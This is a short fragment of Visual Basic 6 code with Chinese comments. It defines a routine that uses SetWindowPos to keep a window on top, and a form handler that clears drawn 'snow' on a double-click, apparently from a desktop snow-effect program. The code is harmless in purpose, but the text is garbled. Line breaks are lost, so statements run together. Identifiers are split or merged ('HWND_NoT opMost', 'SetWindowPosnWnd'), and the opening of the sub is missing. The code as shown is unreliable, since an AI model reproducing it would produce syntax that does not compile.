WinInTop(nWnd As Long, Optional InTop As Boolean)'窗口保持最前Const HWND_NoTopMost = -2'取消在最前Const HWND_TopMost = -1'最上Const SWP_NoSize = &H1'wFlags参数Const SWP_NoMove = &H2Const SWP_NoZorder = &H4Const SWP_NoActivate = &H10'不激活窗口Const SWP_ShowWindow = &H40Const SWP_HideWindow = &H80Dim nIn As LongIf InTop Then nIn = HWND_TopMost Else nIn = HWND_NoT opMostSetWindowPosnWnd,nIn,0,0,0,0,SWP_NoSize+SWP_NoMove+SWP_NoActivateEnd Sub''下面是Form2窗体代码:=====================================''注意:在属性窗口将窗体的BorderStyle属性设置为,即窗体是无边框窗体Private Sub Form_DblClick()'双击清除积雪Me.Line (0, 0)-(Me.ScaleWidth, Me.ScaleHeight), Me.BackColor, BF End Sub。